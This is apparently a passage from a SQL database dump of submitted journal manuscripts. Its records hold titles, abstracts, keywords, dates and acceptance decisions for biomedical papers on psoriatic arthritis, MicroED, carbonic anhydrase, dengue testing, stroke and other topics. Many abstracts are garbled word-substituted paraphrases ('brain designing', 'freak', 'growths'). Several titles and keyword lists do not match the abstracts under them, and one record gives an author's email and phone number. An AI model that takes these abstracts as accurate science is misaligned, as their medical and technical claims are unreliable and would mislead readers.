',3649,NULL,'2022-10-26',NULL,'Submitted',14,NULL,'2023-03-27',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13141,13341,996,0,'ipar-22-13141','Psoriatic Arthritis: Therapeutic Strategies',NULL,19,2,'','Our understanding of psoriatic arthritis has evolved as new knowledge of the disease has emerged. However, the exact prevalence of psoriatic arthritis is unknown, and its pathogenesis has not been fully elucidated. Genetic, environmental, and immunologic factors have all been implicated in disease development. Early diagnosis and treatment have become primary objectives in clinical rheumatology. Psoriatic arthritis not only causes functional impairment, but also increases mortality risk of patients. The advent of new therapeutic agents capable of arresting the progression of joint damage is expected. However, early psoriatic arthritis assessment remains limited. The objectives of this article are to outline the epidemiology, diagnosis, and treatment of psoriatic arthritis and to suggest a paradigm for identifying early psoriatic arthritis patients.','Arthritis, Psoriasis, Psoriatic arthritis, Spondyloarthritis',3649,NULL,'2022-10-26',NULL,'Submitted',14,NULL,'2023-03-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13142,13343,326,0,'IPJUS-22-13142','Plunging Down the Neck-A Rare Case Report of a MNG with Retrosternal Extension',NULL,2,2,'','A Retrosternal Goiter is defined as at least 50% of the thyroid tissue located intrathoracically. Surgery is the treatment of choice for retrosternal goiter Retrosternal goiter extending beyond the aortic arch into the posterior mediastinum are treated usually with sternotomy or lateral thoracotomy but the majority of retrosternal goiters can be resected through a single cervical incision. Here, we report such a case of retrosternal goiter which was managed successfully. We report a case of a 56-year-old female who came with complaints of swelling in front of the neck for 2 years, CECT scan (neck and thorax) was suggestive of multinodular goiter and retrosternal extension up to the level of arch of aorta and aorto-pulmonary region on the left side. Patient underwent conventional transcervical thyroidectomy with minimal intra-operative and post-operative complications wherein the specimen was taken out with blunt finger dissection.\r\nTo conclude, Retrosternal goitres can be successfully managed with single neck incison with minimal complications and overall good surgical outcome.\r\n','',2505,NULL,'2022-10-27',NULL,'Submitted',12,NULL,'2023-03-23',NULL,1,1,'0','An innovative approach.',0,'','',NULL,0,0,0,NULL,0),(13143,13344,975,0,'ipjbs-22-13143','Microcrystal electron diffraction for macromolecular crystallography',NULL,5,0,'','Microcrystal electron diffraction (MicroED) has as of late arisen as a promising strategy for macromolecular construction assurance in primary science. Starting from the principal protein still up in the air in 2013, the technique has been developing quickly. A few protein structures still up in the air and different examinations demonstrate that MicroED is able to do (I) uncovering nuclear designs with charges, (ii) settling new protein structures by sub-atomic substitution, (iii) envisioning ligand-restricting connections and (iv) deciding layer protein structures from microcrystals inserted in lipidic mesophases. In any case, further turn of events and enhancement is expected to make MicroED explores more exact and more open to the primary science local area. Here, we give an outline of the ongoing status of the field, and feature the continuous turn of events, to give a sign of where the field might be going before long. We guess that MicroED will turn into a powerful strategy for macromolecular design assurance, supplementing existing techniques in underlying science.','lipidic mesophases; Microcrystal electron diffraction; electron magnifying lens',4089,NULL,'2022-10-27',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13144,13345,975,0,'ipjbs-22-13144','Analysis of human carbonic anhydrase IX',NULL,5,0,'','CA IX (previously MN protein) is a carbonic anhydrase isoenzyme whose articulation is related with human growths. In any case, it has likewise been tracked down in ordinary gastric mucosa. The point of this study was to decide contrasts in reciprocal DNAs, to get an outline of dissemination in the nutritious plot, and to get information on articulation in cancers. A CA9 cDNA disconnected from a human stomach library was sequenced alongside the cDNA got from HeLa cells. Western smearing and immunohistochemical examinations of human and creature tissues were performed utilizing CA IX-explicit monoclonal counter acting agent and bunny antiserum to human CA II. RESULTS; Grouping examination showed no distinctions between the stomach-and HeLa-inferred cDNAs. CA IX was recognized at the basolateral surface of gastric, gastrointestinal, and gallbladder epithelia. In stomach growth tests, articulation of CA IX was lost or decreased. Differential dispersion of CA IX in ordinary and growth tissues isn\'t related with cDNA changes. Transformative protection in vertebrates as well as plentiful articulation of CA IX protein in typical human gastric mucosa, yet not in determined growths, show its physiological significance.','carbonic anhydrase isoenzyme; Microseeding; X-beam; neutron crystallography',5410,NULL,'2022-10-27',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13145,13346,975,0,'ipjbs-22-13145','A brief note on Neurophysiology and neural engineering',NULL,5,0,'','Neurophysiology is the part of physiology worried about grasping the capability of brain frameworks. Brain designing is a discipline inside biomedical designing that uses designing strategies to grasp, fix, supplant, upgrade, or in any case exploit the properties and elements of brain frameworks. Generally speaking brain designing includes the advancement of a point of interaction between electronic gadgets and living brain tissue. This survey portrays the beginnings of brain designing, the touchy advancement of strategies and gadgets starting in the last part of the 1950s, and the present-day gadgets that have come about. The hindrances to communicating electronic gadgets with living brain tissues are numerous and changed, and thus there have been various stops and starts enroute. Agent models are talked about. No part of this might have occurred without an essential comprehension of the pertinent neurophysiology. I likewise consider instances of how brain designing is reimbursing the obligation to fundamental neurophysiology with new information and knowledge.','Neurophysiology; biomedical; electronic gadgets',5410,NULL,'2022-10-27',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13146,13347,1020,0,'ipmedt-22-13146','The Effects of Gene Mutations on Ribosylation of Luminescent Concentration of calcium Analogs Using Ribose Molecular parameters as a Precursor',NULL,19,0,'','Enzymatic ribosylation of fluorescent 8-azapurine subsidiaries, similar to 8-azaguanine and 2,6-diamino-8-azapurine, with purine-nucleoside phosphorylase (PNP) as an impetus, prompts N9, N8, and N7-ribosides. The last extent of the items might be adjusted by point changes in the chemical dynamic site. For instance, ribosylation of the last substrate by wild-type calf PNP gives N7-and N8-ribosides, while the N243D freak coordinates the ribosyl replacement at N9-and N7-positions. A similar freak permits union of the fluorescent N7-β-d-ribosyl-8-azaguanine. The changed type of the E. coli PNP, D204N, can be used to get non-run of the mill ribosides of 8-azaadenine and 2,6-diamino-8-azapurine too. The N7-and N8-ribosides of the 8-azapurines can be scientifically helpful, as shown by N7-β-d-ribosyl-2,6-diamino-8-azapurine, which is a decent fluorogenic substrate for mammalian types of PNP, including human blood PNP, while the N8-riboside is particular to the E. coli chemical.','fluorescent nucleosides; enzymatic ribosylation; 8-azapurines; purine nucleoside phosphorylase',5042,NULL,'2022-10-29',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13147,13348,1020,0,'ipmedt-22-13147','Polyphenol Flavonoid stimulates immune responses by increasing IFN- and IL-2 secretion in primary cultured lymphocytes',NULL,19,0,'','Astaxanthin, a strong cell reinforcement carotenoid, assumes a significant part in balancing the safe reaction. In this review, we analyzed the immunomodulatory impacts of astaxanthin on cytokine creation in essential refined lymphocytes both in vitro and ex vivo. Direct organization of astaxanthin (70-300 nM) didn\'t create cytotoxicity in lipopolysaccharide (LPS, 100 µg/mL)- or concanavalin A (Con A, 10 µg/mL)- enacted lymphocytes, though astaxanthin alone at 300 nM prompted expansion of splenic lymphocytes (p < 0.05) in vitro. In spite of the fact that astaxanthin, alone or with Con A, meaningfully affected interferon (INF-γ) and interleukin (IL-2) creation in essential refined lymphocytes, it upgraded LPS-prompted INF-γ creation. In an ex vivo try, oral organization of astaxanthin (0.28, 1.4 and 7 mg/kg/day) for 14 days didn\'t cause modifications in the body or spleen loads of mice and furthermore was not poisonous to lymphocyte cells got from the mice. ','astaxanthin; LPS; Con A; mice; lymphocytes; INF-γ; IL-2; immunomodulation',5042,NULL,'2022-10-29',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13149,13350,45,0,'iphsj-22-13149','Nutritional recommendations for the physical and mental health of patients with COVID-19: Rapid review ',NULL,6,0,'','Evidence suggests that the assessment of the nutritional status of COVID-19-infected patients is crucial before undertaking treatments. Nutritional support should be the basis of the management of an infected individual. The nutritional supplementation for COVID-19 patients’ needs to account for the sleep, stress level, anxiety, depression, as well as body mass index of the individual. Therefore, the main objective of this review was to clearly show the role of nutrition during COVID-19, symptoms of COVID-19 with nutrition implications, micronutrients (vitamins and minerals) for Covid-19, the nutrients needed for improving mental well-being during COVID-19 response, and to find out the common brain chemicals that can be affected during stressful conditions like COVID-19. ','Nutrition, physical, mental, covid-19, response ',2879,NULL,'2022-11-01',NULL,'Submitted',2,NULL,'2023-01-09',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13150,13351,667,0,'iptb-22-13150',' A review on Translational impact of preclinical radiobiology research.',NULL,25,0,'','Background and purpose \r\nTo give a scoping audit of distributed considers utilizing little creature irradiators and highlight the advance in preclinical radiotherapy (RT) ponders empowered by these stages since their advancement and commercialization in 2007. \r\nMaterials and methods \r\nThese articles were classified as science or material science commitments and into subgroups based on investigate points, exploratory models and other parameters to distinguish patterns within the preclinical RT inquire about scene.\r\nConclusions \r\nThis think about captures the patterns in preclinical RT investigate utilizing little creature irradiators from 2007 to 2021. Our information appear the expanded take-up and yields from preclinical RT thinks about in imperative ranges of science and material science investigate that seem educate interpretation to clinical trials.','Radiotherapy; Preclinical models; Preclinical radiotherapy; Small animal irradiators',3322,NULL,'2022-11-01',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13151,13351,667,0,'iptb-22-13151','A review on translational research in radiological oncology ',NULL,19,0,'','Radiological Oncology, just like the rest of medical specialties, is starting to supply can personalized treatments. The progressing logical progresses empower an incredible degree of accuracy in analyze and treatments. To battle cancer, from a radiotherapy unit, requires up-to-date gear, experts with distinctive specialties working in synchrony (specialists, physicists, scholars, etc.) and a part of inquire about. A few of the modern restorative propensities are immunotherapy, nanoparticles, quality treatment, biomarkers, fake insights, etc. An unused clinical worldview in which modern proficient systems are inescapable is emerging. The mission of translational inquires about to ended up a logical motor within the clinical space.','Translational research; Radiotherapy; Nanoparticles; Gene therapy; Artificial intelligence; Networks',3933,NULL,'2022-11-01',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13152,13353,667,0,'iptb-22-13152','A short review: Translational research on urinary track infection',NULL,19,0,'','A urinary tract infection( UTI) is an infection that affects part of the urinary tract.( 1) When it affects the lower urinary tract it\'s known as a bladder infection( cystitis) and when it affects the upper urinary tract it\'s known as a order infection( pyelonephritis).( 10) Symptoms from a lower urinary tract infection include pain with urination, frequent urination, and feeling the need to urinate despite having an empty bladder.( 1) Symptoms of a order infection include fever and hand pain generally in addition to the symptoms of a lower UTI.( 10) Infrequently the urine may appear bloody.( 7) In the veritably old and the veritably youthful, symptoms may be vague ornon-specific.( 1)( 11)','Phenazopyridine, neuroinflammation,  dopaminergic, glutamatergic neurotransmission',3933,NULL,'2022-11-01',NULL,'Submitted',2,NULL,'2022-11-07',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13153,13352,667,0,'iptb-22-13153','A Brief Introduction on Translational Cancer: Its Causes and Management',NULL,19,0,'','Cancer is a group of conditions involving abnormal cell growth with the eventuality to foray or spread to other corridor of the body. These discrepancies with benign excrescences, which don\'t spread. Possible signs and symptoms include a lump, abnormal bleeding, prolonged cough, unexplained weight loss, and a change in bowel movements. While these symptoms may indicate cancer, they can also have other causes. Over 100 types of cancers affect humans.','papillomavirus infection, EpsteinBarr',3322,NULL,'2022-11-01',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13154,13354,86,0,'ipaom-22-13154','The effect of quercetin and resveratrol the expression of some genes involved epigenetic in breast cancer cell lines',NULL,14,0,'','Background: Breast cancer is one of the most common cancers among women. An incorrect gene expression pattern involved in epigenetics, Including APOBEC3B, DNMT-1, and TET_1, can develop breast cancer. Quercetin and resveratrol are natural flavonoids that have antioxidant and anticancer properties that have been reported in other studies. To investigate the mechanism of the effect of Quercetin and resveratrol, this study examined the impact of Quercetin and resveratrol on the expression of genes referred to the two classes of breast cancer cell lines\r\nMaterials and methods: This study is experimental and cell lines, including MCF-7 and MDA-MB-453, in separate boxes, including the control group and treated groups with two doses of 50 and 100 micromolar of Quercetin and two doses of 25 and 100 micromolar for 24 hours of resveratrol for 48 hours were cultured. RNA was extracted from the cells and then converted to cDNA. Realtime PCR was used for APOBEC3B and DNMT and TET_1expression.\r\nResults: The results showed that Quercetin and resveratrol decreased gene expression of APOBEC3B and  DNMT-1 And increased expression of  TET_1 in both cell lines. \r\nDiscussion: Due to the sound effects of Quercetin and resveratrol on breast cancer cells, probably these effects are applied through epigenetic mechanisms.  However, the final decision needs to be further investigated.\r\n','Quercetin, resveratrol; gene expression; epigenetics, cell lines, breast cancer',2890,NULL,'2022-11-02',NULL,'Submitted',2,NULL,'2022-12-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13155,13355,667,0,'iptb-22-13155','Discussion on Comparison of Translational Medicine to the Basic Research',NULL,5,0,'','Translational Medicine (also called restatement exploration, translational wisdom, or, when the environment is clear, simply restatement) is exploration aimed at rephrasing (converting) results in introductory exploration into results that directly profit humans. The term is used in wisdom and technology, especially in biology and medical wisdom. As similar, translational exploration forms a subset of applied exploration. Translational drug is a fleetly growing discipline in biomedical exploration and aims to expedite the discovery of new individual tools and treatments by using a multi-disciplinary, largely cooperative,\" bench- to- bedside\" approach. Within public health, translational drug is concentrated on icing that proven strategies for complaint treatment and forestallment are actually enforced within the community.','penicillin, benzodiazepines',3933,NULL,'2022-11-02',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13156,13356,1020,0,'ipmedt-22-13156','Examining Gene Transcription and Reciprocity in Suspension DNA',NULL,19,0,'','The goal of this review was to look for 5-methyl-cytosine and 5-hydroxymethyl-cytosine in the genome of the scavenger Daphnia pulex. First, the presence of 5-mC and 5-hmC in genomic DNA was demonstrated using antibodies specific for either 5-mC or 5-hmC. The presence of the two changes was then confirmed in selected areas of three qualities using sets of limitation proteins with varying aversion to methylation and hydroxymethylation (Cox4, Cand2 and Ephx1).','Daphnia pulex; 5-methyl-cytosine; 5-hydroxymethyl-cytosine; entire genome sequencing; epigenetic adjustments.',5042,NULL,'2022-11-03',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13157,13357,251,0,'ipacm-22-13157','Bacterial Infections in Cirrhosis and Structure of Bacteria',NULL,5,0,'','Bacterial infections have a large impact on public health. Disease can occur at anybody site and can be caused by the organism itself or by the body\'s response to its presence. Bacteria are transmitted to humans through air, water, food, or living vectors. The principal modes of transmission of bacterial infection are contact, airborne, droplet, vectors, and vehicular. Preventive measures have a dramatic impact on morbidity and mortality. Such measures include water treatment, immunization of animals and humans, personal hygiene measures, and safer sex practices. Bacterial resistance to antibiotics is a growing concern mandating their prudent use.','Antibiotics, Bacteria, Culture, Gram-negative, Gram-positive, Gram stain, Infectious disease, Prevention of infection, Reservoirs, Transmission of infection',780,NULL,'2022-11-04',NULL,'Submitted',2,NULL,'2022-11-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13158,13358,1020,0,'ipmedt-22-13158','Towards the Synthesis and Genetically Screening of a Halisarca ectofibrosa ',NULL,6,0,'','The first solution-phase synthesis of a naturally occurring tetrapeptide cyclo-(isoleucyl-prolyl-leucyl-alanyl) was accomplished by coupling dipeptide segments Boc-l-Pro-l-Leu-OH and l-Ala-l-Ile-OMe. The deprotection of the linear tetrapeptide unit and subsequent cyclization produced a cyclopeptide that was identical in every way to the naturally occurring compound. The bioactivity results showed that the synthesised peptide had antifungal and antihelmintic properties against pathogenic dermatophytes and earthworms.','natural product synthesis; marine bacteria; cyclic tetrapeptide; biological activity',5042,NULL,'2022-11-04',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13159,13359,1020,0,'ipmedt-22-13159','Cobalamin Analyzed Biosensor Growth Using Temperature Nanomaterials Embellished with Metal Nanoparticles',NULL,6,0,'','Polypyrrole nanotubes and gold nanoparticles were electrochemically integrated to frame a half breed material and utilized as an electroactive layer for the connection of proteins for the development of a superior presentation biosensor. Other than the upgrade of natural conductivity of the, the go about as an anchor bunch for the development of self-get together monolayers (SAMs) from the gold-sulfur covalent connection among gold and Mercaptopropionic corrosive (MPA). This material was utilized to assess the feasibility and execution of the stage created for biosensing, and three distinct organic methodologies were tried: first, the Avidin-HRP/Biotin couple and portrayals were made by utilizing cyclic voltammetry (CV) and electrochemical impedance spectroscopy (EIS), wherein we identified Biotin in a straight scope of ,The examinations went on with folate bunch biomolecules, utilizing the folate receptor α  as a bioreceptor.','Impedimetric biosensor; modified electrode; folate',5042,NULL,'2022-11-04',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13160,13360,45,0,'iphsj-22-13160','EVALUATION OF CAROTID ARTERY IN PATIENTS WITH ISCHEMIC STROKE USING CAROTID DOPPLER ULTRASONOGRAPHY IN DHAMAR CITY, YEMEN',NULL,3,0,'','*Corresponding to Dr Mohamed Ali Al-Huthi, department of cardiology, Faculty of Medicine, Thamar University, Yemen. E-mail: dohuthi@yahoo.com. Tel: (+967770006 006).  \r\nABSTRACT\r\nBackground: Stroke defined as an abrupt onset of neurologic deficit due to vascular cause. It is one of the leading causes of mortality and morbidity all over the world making early diagnosis and treatment inevitable. Lesions of extra cranial carotid arteries implicated in majority of cases of acute ischemic stroke. Early detection of the atheromatous changes in the carotid artery will reduce the stroke related morbidity and mortality. Carotid Doppler is a non-invasive imaging technique, with sensitivity approaching that of angiography. Aim: This study aimed to evaluate the role of carotid Doppler sonography in patients presenting with acute ischemic stroke and find association between carotid artery stenosis and the risk factors of cerebrovascular diseases in, Dhamar city, Dhamar Governorate, Yemen. Methods: A descriptive cross-sectional study was conducted over six months (October. 2021– April. 2022) among patients with confirmed ischemic stroke and who underwent carotid Doppler ultrasonography in, Dhamar city, Yemen. A pre-designated interview sheets used for data collection by interviewing patients and their family members, and by extracting information from their medical files and carotid Doppler reports. The sheet was divided into four parts: the first part consisted of socio-demographic data, the second consisted of stroke side and it’s relation to the side of carotid stenosis. The third part consisted of risk factors and the final part consisted of carotid doppler findings. Results: Eighty-four patient were included in our study, among them, there were 54 patients (64.3%) were males and 30 (35.7%) were females. Their ages ranged from 22 to 100 years with mean age 64.9±1.70. Carotid stenosis was founded in 53.6% of participated patients, among those more than one-third (35.5%) had severe stenosis. The proximal part of internal carotid artery was most common location of plaque formation. Hypertension, smoking and diabetes were the most prevalent risk factors for cerebral ischemic stroke. Out of total 84 patients, 57 (67.9%) had hypertension, 28 (33.3%) had diabetes and 16 (19%) had previous stroke history. Conclusion: Carotid artery Doppler demonstrated atherosclerotic plaques and carotid stenosis in more than half of studied patients. Increasing age >50 years, male sex, smoking, hypertension, diabetes, and hyperlipidemia were associated with an increased rate of atherosclerosis, carotid stenosis in patients with ischemic stroke. Patients with risk factors of stroke should be scanned with Doppler sonography as early as possible. \r\n','Stroke, Carotid artery, Doppler Sonography, Dhamar, Yemen ',3430,NULL,'2022-11-10',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13161,13361,277,0,NULL,'Un paciente con hipercortisolismo endógeno desarrolló aspergilosis invasiva subaguda',NULL,14,0,'','Invasive aspergillosis is one of the most dangerous infections in patients with hypercortisolism. Excess endogenous steroids predispose the host to a decrease in innate and adaptive immune response, which favours fungal tissue invasion. We present the case of a man who had ACTH-dependent hypercortisolism and had a chronic fungal infection.','',5397,NULL,'2022-11-10',NULL,'Submitted',4,NULL,'2022-11-10',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13162,13363,277,0,'ipadm-22-13162','A patient with endogenous hypercortisolism developed subacute invasive aspergillosis',NULL,14,0,'','Invasive aspergillosis is one of the most dangerous infections in patients with hypercortisolism. Excess endogenous steroids predispose the host to a decrease in innate and adaptive immune response, which favours fungal tissue invasion. We present the case of a man who had ACTH-dependent hypercortisolism and had a chronic fungal infection.','',5397,NULL,'2022-11-10',NULL,'Submitted',2,NULL,'2022-11-26',NULL,1,1,'1','Accept without changes',0,'','',NULL,0,0,0,NULL,0),(13163,13364,277,0,'ipadm-22-13163','Infecciones por Staphylococcus aureus y procedimientos pediátricos típicos en Colombia',NULL,15,0,'','Staphylococcus aureus (SA) es una causa común de infección en niños, capaz de colonizar la piel y las mucosas en entre el 30% y el 50% de los niños pequeños. Es importante porque juega un papel en una variedad de patologías hospitalarias y comunitarias, que van desde infecciones leves de la piel hasta infecciones invasivas potencialmente mortales causadas por la interacción de varios factores de virulencia y patogenicidad, según lo identificado por varios investigadores.','',5396,NULL,'2022-11-10',NULL,'Submitted',2,NULL,'2022-11-26',NULL,1,1,'1','Accept without any Changes',0,'','',NULL,0,0,0,NULL,0),(13164,13031,45,0,'iphsj-22-13164','Detection of Specific Anti-Dengue IgM and IgG Antibodies Differentiate Primary from Secondary Infection',NULL,14,0,'','Background\r\nThe incidence of dengue fever has increased dramatically worldwide in recent decades. Most cases are asymptomatic or mildly symptomatic and recover with self-management, so the actual number of dengue cases is greater than the number reported. Many cases have also been misdiagnosed as other febrile illnesses[5].\r\n\r\nThe number of dengue cases reported to World Health Organization (WHO) has increased more than seven-fold over the past 20 years, from 505,430 cases in 2000 to more than 2.4 million in 2010 and 5.2 million in 2019. The number of reported deaths increased from 960 to 4,032 between 2000 and 2015, mainly affecting younger age groups. Between 2020 and 2021, the total number of cases, as well as the number of reported deaths, appears to have decreased. However, data in this area are incomplete and the COVID-19 pandemic may also have hindered case reporting in several countries.\r\n\r\nClinical presentations range from non-severe dengue fever to severe dengue fever, such as dengue hemorrhagic fever and dengue shock syndrome. Serologically, initial infection is characterized by elevated dengue virus-specific IgM antibodies within 4-5 days after the fever and elevated IgG antibodies 7-10 days later.\r\n\r\nTherefore, the diagnosis of primary dengue within the first 5 days requires the application of polymerase chain reaction techniques (RT-PCR) or antigen detection, particularly for NS1 antigen, whereas secondary infections are identified by early elevated IgG antibody titers and lower titer IgM elevations. In addition, the early stages of secondary dengue fever also show PCR and NS1 positivity.[6]\r\n\r\nObjective\r\nThe main purpose of this evaluation report was to explore the reliability and performance of the CITEST Dengue Rapid Test Cassette for the qualitative detection of IgG and IgM antibodies to Dengue virus in human whole blood, serum, or plasma as an aid in the diagnosis of primary and secondary Dengue infections. \r\n\r\nMethod\r\nRun a rapid in vitro diagnostic test device for the detection of antibodies (IgG and IgM) to Dengue virus in whole blood, serum, or plasma and compare with a leading commercial Dengue ELISA test for validation of the performance.\r\n\r\nResult\r\nThe results show that the overall relative sensitivity for the primary and secondary infection of the Dengue Rapid Test Cassette (Whole Blood/Serum/Plasma) is 94.3%, the relative specificity is 99.1%, and the relative accuracy is 98.3%. \r\n\r\nConclusion\r\nCITEST Dengue Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid test that utilizes a combination of Dengue antigen-coated colored particles for the detection of IgG and IgM Dengue antibodies in human whole blood, serum, or plasma.\r\n\r\nThe product is simple to operate and has been validated against an industry leading commercial Dengue ELISA test to give results within 10 minutes of the sample being tested. A comparison of 429 samples showed an accuracy of 98.3% and an excellent specificity of 99.1%. Patients can use this test kit to obtain accurate results and to determine whether they have a primary or secondary dengue virus.','Keywords: anti-dengue, primary infection, secondary infection, rapid test',4076,NULL,'2022-11-11',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13165,13369,91,0,'ijddr-22-13165','EXPOSING PROFOUND SCREENING POTENTIAL OF ETHANOL-BASED DISSOLUTION MEDIA IN THE DEVELOPMENT OF ORAL-MODIFIED DOSAGE FORMS',NULL,5,0,'','Characterization of drug release from modified-release products in the presence of alcohol is required to evaluate the possibility of dose dumping due to safety assurance reasons. A generic product containing BCS IV drug and HPMCAS polymer was formulated as amorphous solid dispersion with hot-melt extrusion having the same qualitative and quantitative composition as the reference product. Although formulations were bioequivalent, they exerted different vulnerability towards ethanol, and the root cause was sought to establish appropriate control during product life cycle. To identify critical process parameters (CPPs) and critical material attributes (CMAs) according to the Quality by Design, a systematic screening of excipient properties and process parameters was performed. The in-depth evaluation revealed that dose dumping could be avoided with appropriate selection of specification limits for binder viscosity and particle size, specific surface area of the glidant and adjustments in the milling and tableting parameters. Due to the effective prevention of dose dumping, additional changes in qualitative or quantitative composition of the generic product were not required; thus subsequent bioequivalence study was not warranted.','dose-dumping, critical material attributes, critical process parameters, MicrofluxTM, bioequivalence, hot-melt extrusion',5033,NULL,'2022-11-11',NULL,'Submitted',2,NULL,'2022-11-15',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13166,13371,73,0,'ipjnn-22-13166','The Relationship between Low Ocular Perfusion Pressure with Acute Non-Arteritic Anterior Ischemic Optic Neuropathy',NULL,14,1,'Overview of Nervous System Disorders','','',330,NULL,'2022-11-14',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13167,13372,277,0,'ipadm-22-13167','Elastography as a Method for Detecting Maternity Censure',NULL,15,0,'','Mammary epithelial cell growth is increased and uncontrolled in breast cancer, which is a disease. A novel application of ultrasound based on the characteristics of elastic tissues emerged during recent research on new technologies with the aim of being more precise and conservative in the methods used for the diagnosis of breast cancer.','',5396,NULL,'2022-11-14',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'1','Accept it without any Changes.',0,'','',NULL,0,0,0,NULL,0),(13168,13373,73,0,'ipjnn-22-13168','The evolution of comprehensive genetic analysis in Neurology: implications for precision medicine',NULL,15,0,'','Technological advancements have facilitated the availability of reliable and thorough genetic analysis in many medical fields, including neurology. In this review, we discuss currently applied technologies for monogenic neurological disorders analysis focusing on the value of the selection of the appropriate genetic test to assist an accurate disease diagnosis. Moreover, the applicability of comprehensive analysis via NGS for various genetically heterogeneous neurological disorders is reviewed, revealing its efficiency in clarifying a frequently cloudy diagnostic picture and delivering a conclusive and solid diagnosis that is essential for the proper management of the patient. The feasibility and effectiveness of medical genetics in neurology require interdisciplinary cooperation among several medical specialties and geneticists, to select and perform the most relevant test according to each patient\'s medical history, using the most appropriate technological tools. In addition, the prerequisites for a comprehensive genetic analysis are discussed, highlighting the utility of using multigene NGS panels and obtaining a family history to increase the percentage of patients with informative genetic testing. Finally, we review the current applications of genetic analysis in the diagnosis and personalized treatment of neurological patients and the advances in the research and scientific knowledge of hereditary neurological disorders that are evolving the utility of genetic analysis towards the individualization of the treatment strategy.','',3431,NULL,'2022-11-15',NULL,'Submitted',2,NULL,'2022-12-06',NULL,1,1,'0','    ',0,'','',NULL,0,0,0,NULL,0),(13169,13374,91,0,'ijddr-22-13169','‘Agua –phobia’ a necessary prerequisite for healing psoriasis- proof from Psorolin B',NULL,5,0,'','In the present paper we have described the importance of the degree of agua-phobia characteristics of Psorolin B ointment and how such formulation would exceptionally be useful in treating Psoriasis.  The ecosystem outside of is high in water (in the form of humidity) and skin also has the property of excreting various waste metabolites through sweat which would eventually both hinder and remove water soluble constituents from skin easily whereas such removal would be low if the constituents are agua-phobic.  Scientific aspects of the study methodology and findings are given in detail in the article. ','Agua-phobic, hyperkeratotic skin, red ochre, Wrightia tinctoria, boswellic acid',5255,NULL,'2022-11-15',NULL,'Submitted',2,NULL,'2022-11-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13171,13376,73,0,'ipjnn-23-13171','Neuro-psycho disorders and hyponatremia',NULL,2,2,'Clinical Neurology and Cognitive Neuroscience','','',5355,NULL,'2022-11-17',NULL,'Submitted',12,NULL,'2023-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13173,13378,91,0,'ijddr-22-13173','Meta-Analysis: A Convenient Tool for the Choice of Nose-to-Brain Nanocarriers',NULL,5,0,'','In terms of delivery to the brain, the intranasal route is a highly promising route.Nevertheless, it is one of the most challenging and complicated routes.As a result, researchers are constantly looking for novel drug delivery vehicles like polymeric and lipid nanoparticles that are likely to improve the bioavailability of the drugs that are given to the brain.A certain number of publications from various databases and the literature were selected for this study.In order to investigate the published studies and demonstrate the superiority of nanocarriers in increasing the bioavailability of various drugs in the brain, meta-analyses employing two distinct algorithms (DerSimonian–Laird and inverse variance) were carried out.In addition, lipid nanosystems and polymeric nanosystems were quantitatively compared.After normalization, the meta-analysis used the important pharmacokinetic parameter known as the area under the curve (AUC) from in vivo animal studies as the \"effect.\"Plots of forest were created.Conclusions and key findings:After comparing it to more conventional preparations like solutions and suspensions, the meta-analysis found that the AUC increased.Most importantly, it was demonstrated that lipid nanoparticles were significantly superior to polymeric counterparts.','nasal; nanocarriers; polymeric; lipid; systematic; meta-analysis',4616,NULL,'2022-11-17',NULL,'Submitted',2,NULL,'2022-11-21',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13174,13379,45,0,'iphsj-22-13174','GIS Based Analysis of Spatial Disparities in Health Care Facilities of Ghazipur District, India',NULL,2,0,'','Health is fundamental aspect to the national progress in any sphere. Due to various socio-economic and political factors, there exists a widespread inequality in the distribution of health care facilities in India. The study area Ghazipur district, is a part of an alluvial plain of the mid- eastern corner of the middle Ganga valley, located in eastern Uttar Pradesh of India. The main objectives of this paper isto analyses the spatial variation of health care facilities in the district in GIS platformand to provide effectives measures and planning for the health care facilities. The present study is based on statisticaldata regarding the availability of different types of health care facilities and family welfare facilities at district hospital, community health centres (CHCs), and primary health centres (PHCs) and Sub-centres integrated with GIS. The 